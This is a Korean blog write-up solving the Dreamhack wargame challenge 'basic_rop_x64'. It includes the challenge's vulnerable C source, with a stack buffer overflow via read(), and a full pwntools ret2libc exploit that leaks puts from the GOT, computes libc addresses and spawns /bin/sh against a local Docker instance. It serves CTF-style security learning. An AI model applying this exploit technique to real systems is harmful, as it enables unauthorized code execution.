https://dreamhack.io/wargame/challenges/29
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io
0. 보호기법 확인
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1. 소스코드 확인
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- read 함수로 buf 크기 이상을 입력할 수 있음으로 이를 이용하여 bof
- ROP gadget을 이용하여 system('/bin/sh')를 이용하면 해결할 수 있을것이라 추측된다.
2. exploit 시나리오
- 64bit 환경에서는 rdi가 첫번쨰 인자로 사용되기에 ROPgadget --binary basic_rop_x64 명령어를 사용하여 pop rdi; ret; 가젯의 주소를 구함
- pwntools의 기능을 이용하여 libc 에 있는 함수의 GOT 주소를 rdi에 넣음
- pwntools의 기능을 이용하여 puts()함수의 plt 주소를 호출하여 rdi에 들어있던 GOT 주소를 leak
- main함수의 주소로 이동하여 다시한번 main 함수 진행
- leak한 GOT 주소로 libc base 주소를 구한 뒤 그 주소에 system함수의 offset을 더하여 system 함수 주소 획득
- 다시한번 ROP gadget을 사용하여 libc에 있는 /bin/sh 주소를 rdi에 적재
- system 함수를 호출하여 system('/bin/sh')를 실행


3. 주소 구하기

- pop rdi; ret 가젯의 주소와 ret 가젯의 주소를 구함


- 다음과 같이 puts@plt와 got 주소를 구할 수 있지만, 풀이에서는 pwntools의 기능을 이용하여 사용하도록 할 것임
4. payload 작성
from pwn import *
p = remote('localhost',10001) # -> docker build -t basic_rop . -> docker run it -p 10001:10001 basic_rop
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
puts_got = e.got['puts']
puts_plt = e.plt['puts']
rdi_addr = 0x400883
ret_addr = 0x4005a9
pay1 = b'a'*0x40
pay1 += b'b'*0x8
pay1 += p64(rdi_addr)
pay1 += p64(puts_got) # puts의 got 주소를 rdi에 저장
pay1 += p64(puts_plt) # puts를 호출하여 rdi에 있는 값을 인지로 받아와 puts@got 주소 leak
pay1 += p64(e.sym['main']) # main함수로 되돌아가기
p.sendline(pay1)
p.recvuntil(b'a'*0x40)
puts_libc = u64(p.recvn(6) + b'\x00'*2) # 0x7f1b75f5ced0 임으로 6byte이기에 layout을 맞추기 위해 \x00두개 추가
print(hex(puts_libc))
libc_base = puts_libc - libc.sym['puts']
system_libc = libc_base + libc.sym['system']
binsh_libc = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))
print(hex(system_libc))
print(hex(binsh_libc))
pay2 = b'a'*0x40
pay2 += b'b'*0x8
pay2 += p64(rdi_addr)
pay2 += p64(binsh_libc)
pay2 += p64(ret_addr)
pay2 += p64(system_libc)
p.sendline(pay2)
p.interactive()
- 다음 문제는 주어진 libc 파일을 이용해야하기에 주어진 도커 파일을 빌드하여 실행해야 함.
- 드림핵에서 서버를 실행했다면 도커는 필요 없음
- pay2 에서 ret가젯을 넣어주는 이유는 16bit offset을 맞추기 위함
5. 출력

'워게임' 카테고리의 다른 글
| [시스템 해킹] Master Canary write-up (0) | 2026.04.14 |
|---|---|
| [시스템 해킹] rop write-up (0) | 2026.04.13 |
| [시스템 해킹] Tcache Poisoning write-up (0) | 2026.02.10 |
| [시스템 해킹] basic_exploitation_002 write up (0) | 2026.02.07 |
| [시스템 해킹] Return to Library write-up (0) | 2026.02.06 |